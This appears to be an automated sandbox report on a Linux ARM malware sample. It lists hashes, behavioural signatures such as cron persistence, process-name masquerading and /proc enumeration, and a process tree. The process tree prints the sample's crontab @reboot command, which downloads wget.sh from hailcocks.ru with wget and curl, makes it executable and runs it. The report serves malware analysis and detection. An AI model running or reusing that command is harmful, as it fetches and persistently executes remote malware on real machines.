Analysis
-
max time kernel
150s -
max time network
143s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28-10-2024 01:45
Static task
static1
Behavioral task
behavioral1
Sample
b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf
Resource
debian9-armhf-20240611-en
General
-
Target
b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf
-
Size
73KB
-
MD5
c84fca197a6c0d8da1e804407643d901
-
SHA1
b18d35378928ff15d652cdb21e48d48abac2ffa8
-
SHA256
b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51
-
SHA512
eaed6b072815f9cde6d907a3b13356c982f6fbda66d3893dbb04ee57cd995bd7925d09612a6cf6f738aec6d61440c206bd64cabb935884c302714a2331331532
-
SSDEEP
1536:Fjr84jhcwmCpuxo7UfezBWKcqE3Ei919UCDZ:Fjr84jSwm47welfcq89E6
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Renames itself 1 IoCs
Processes:
b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elfpid process 653 b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf -
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
Processes:
description ioc Destination IP 194.36.144.87 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.TxaXvK crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Changes its process name 1 IoCs
Processes:
b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elfdescription ioc pid process Changes the process name, possibly in an attempt to hide itself /bin/sh /etc/init.d/rcS 653 b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf -
Processes:
b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elfcrontabcrontabdescription ioc process File opened for reading /proc/685/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/691/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/703/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/665/cmdline b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/1/cmdline b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/676/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/681/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/682/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/693/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/694/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/697/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/2/cmdline b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/689/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/700/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/708/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/671/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/686/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/690/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/692/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/699/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/704/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/705/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/680/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/673/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/674/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/688/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/706/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/mounts b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/670/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/672/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/677/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/695/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/702/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/709/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/669/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/678/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/701/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/filesystems crontab File opened for reading /proc/675/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/674/cmdline b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/679/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/687/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/696/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/698/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/707/status b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf File opened for reading /proc/filesystems crontab
Processes
-
/tmp/b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf/tmp/b302e2b482811ec560af9f458ad4fa120e6f6d98b0b70a9256c313bfc7d99f51.elf1⤵
- Renames itself
- Changes its process name
- Reads runtime system information
PID:653 -
/bin/shsh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"2⤵
- File and Directory Permissions Modification
PID:654 -
/usr/bin/crontabcrontab -l3⤵
- Reads runtime system information
PID:661
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:659
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
306B
MD5166013c72061a26359c4b71ea7e3f82c
SHA122f63cee554a4e6dade457c043fb687d6843b9e7
SHA2569ae205f20ff39c525193c69898b9fb677905ed2e6b9de9a42311135923fe96fe
SHA512bf5812345971eed2131e77131faccf5a779ebb92bb2b628c056fa339a0d714cba6fd370b5d0db55c439eac4833d9a097867167cfb0c5c70368a5b2563b1fdc06